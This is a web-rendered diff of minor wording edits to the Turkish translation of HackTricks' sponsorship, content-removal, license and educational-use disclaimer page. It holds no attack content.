Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme imkanı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor. Bu **reklamlar** her zaman görünür yerlerde yer alıyor ama **öğrenme** sürecini **rahatsız etmiyor**.
|
||||
Sponsorlarımız var çünkü, tüm içerik **ÜCRETSİZ** olsa da, topluluğa **çalışmamızı takdir etme olanağı sunmak** istiyoruz. Bu nedenle, insanlara HackTricks'e [**Github sponsorları**](https://github.com/sponsors/carlospolop) aracılığıyla bağış yapma seçeneği sunuyoruz ve **ilgili siber güvenlik şirketleri** HackTricks'i sponsor olarak destekleyip kitapta **bazı reklamlar** bulundurabiliyor, bu **reklamlar** her zaman görünür yerlerde ama öğrenme sürecini **rahatsız etmeyecek** şekilde yerleştiriliyor.
|
||||
|
||||
HackTricks'i, HackTricks'ten çok daha az içeriğe sahip diğer bloglar gibi rahatsız edici reklamlarla dolu bulamayacaksınız, çünkü HackTricks ticari amaçlar için yapılmamıştır.
|
||||
|
||||
@ -94,7 +94,7 @@ HackTricks'te sayfanıza bağlantı olmasının:
|
||||
|
||||
- **SEO**'nu artırır
|
||||
- İçerik **15'ten fazla dile** çevrilir, bu da daha fazla insanın bu içeriğe erişmesini sağlar
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te sayfalarının bulunmasının ardından daha fazla ziyaret aldıklarını belirtti)
|
||||
- **HackTricks**, insanların **sayfanızı kontrol etmelerini** teşvik eder (birçok kişi, HackTricks'te bazı sayfalarının bulunması nedeniyle daha fazla ziyaret aldıklarını belirtti)
|
||||
|
||||
Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsanız, sadece bize bildirin ve kesinlikle **blogunuza olan her bağlantıyı** ve buna dayanan her içeriği **kaldıracağız**.
|
||||
|
||||
@ -102,7 +102,7 @@ Ancak, eğer blogunuzun içeriğinin HackTricks'ten kaldırılmasını istiyorsa
|
||||
>
|
||||
> - **Eğer HackTricks'te kopyala-yapıştır içerik bulursam ne yapmalıyım?**
|
||||
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, bize bildirin ve ya **kaldıracağız**, **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
Her zaman **orijinal yazarlara tüm kredileri veriyoruz**. Eğer orijinal kaynak belirtilmeden kopyala-yapıştır içerik içeren bir sayfa bulursanız, lütfen bize bildirin ve ya **kaldıracağız**, **metnin önüne bağlantıyı ekleyeceğiz**, ya da **bağlantıyı ekleyerek yeniden yazacağız**.
|
||||
|
||||
## LICENSE
|
||||
|
||||
@ -117,7 +117,7 @@ Copyright © Tüm hakları saklıdır, aksi belirtilmedikçe.
|
||||
#### Ek Şartlar:
|
||||
|
||||
- Üçüncü Taraf İçeriği: Bu blog/kitabın bazı bölümleri, diğer bloglar veya yayınlardan alıntılar gibi diğer kaynaklardan içerik içerebilir. Bu tür içeriklerin kullanımı, adil kullanım ilkeleri çerçevesinde veya ilgili telif hakkı sahiplerinden açık izinle yapılmaktadır. Lütfen üçüncü taraf içerik ile ilgili belirli lisans bilgileri için orijinal kaynaklara başvurun.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik, bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
|
||||
- Yazarlık: HackTricks tarafından yazılan orijinal içerik bu lisansın şartlarına tabidir. Bu eseri paylaşırken veya uyarlarken yazara atıfta bulunmanız teşvik edilmektedir.
|
||||
|
||||
#### Muafiyetler:
|
||||
|
||||
@ -130,14 +130,14 @@ Bu lisans, içeriğe ilişkin herhangi bir ticari marka veya marka hakları verm
|
||||
## **Açıklama**
|
||||
|
||||
> [!CAUTION]
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik, 'olduğu gibi' sağlanmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
|
||||
> Bu kitap, 'HackTricks', yalnızca eğitim ve bilgilendirme amaçlıdır. Bu kitap içindeki içerik 'olduğu gibi' sunulmaktadır ve yazarlar ve yayıncılar, bu kitapta yer alan bilgilerin, ürünlerin, hizmetlerin veya ilgili grafiklerin tamlığı, doğruluğu, güvenilirliği, uygunluğu veya kullanılabilirliği hakkında herhangi bir türde, açık veya zımni, herhangi bir beyan veya garanti vermez. Bu tür bilgilere dayanarak yaptığınız herhangi bir güven, tamamen kendi riskinizdedir.
|
||||
>
|
||||
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veya bağlantılı olarak ortaya çıkan veri kaybı veya kar kaybı da dahil olmak üzere, dolaylı veya sonuç olarak ortaya çıkan kayıplar veya zararlar için hiçbir durumda sorumlu olmayacaklardır.
|
||||
> Yazarlar ve yayıncılar, bu kitabın kullanımından kaynaklanan veri kaybı veya kar kaybı dahil, dolaylı veya sonuç olarak ortaya çıkan herhangi bir kayıp veya zarardan, ya da bu kitaptan kaynaklanan veya bu kitapla bağlantılı herhangi bir kayıp veya zarardan sorumlu tutulamaz.
|
||||
>
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyetler için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı, kullanıcının kendi riskine ve takdirine bağlıdır.
|
||||
> Ayrıca, bu kitapta açıklanan teknikler ve ipuçları yalnızca eğitim ve bilgilendirme amaçlıdır ve herhangi bir yasa dışı veya kötü niyetli faaliyetler için kullanılmamalıdır. Yazarlar ve yayıncılar, herhangi bir yasa dışı veya etik olmayan faaliyetleri onaylamaz veya desteklemez ve bu kitapta yer alan bilgilerin herhangi bir kullanımı kullanıcının kendi riskine ve takdirine bağlıdır.
|
||||
>
|
||||
> Kullanıcı, bu kitapta yer alan bilgilere dayanarak alınan herhangi bir eylemden tamamen sorumludur ve burada açıklanan teknikleri veya ipuçlarını uygulamaya çalışırken her zaman profesyonel tavsiye ve yardım almalıdır.
|
||||
>
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları, bu kitabın kullanımından veya içindeki bilgilerin herhangi birinden kaynaklanabilecek zararlar, kayıplar veya zararlar için her türlü sorumluluktan muaf tutmayı kabul eder.
|
||||
> Bu kitabı kullanarak, kullanıcı, yazarları ve yayıncıları bu kitabın kullanımından kaynaklanabilecek herhangi bir zarar, kayıp veya hasar için her türlü sorumluluktan muaf tutmayı kabul eder.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user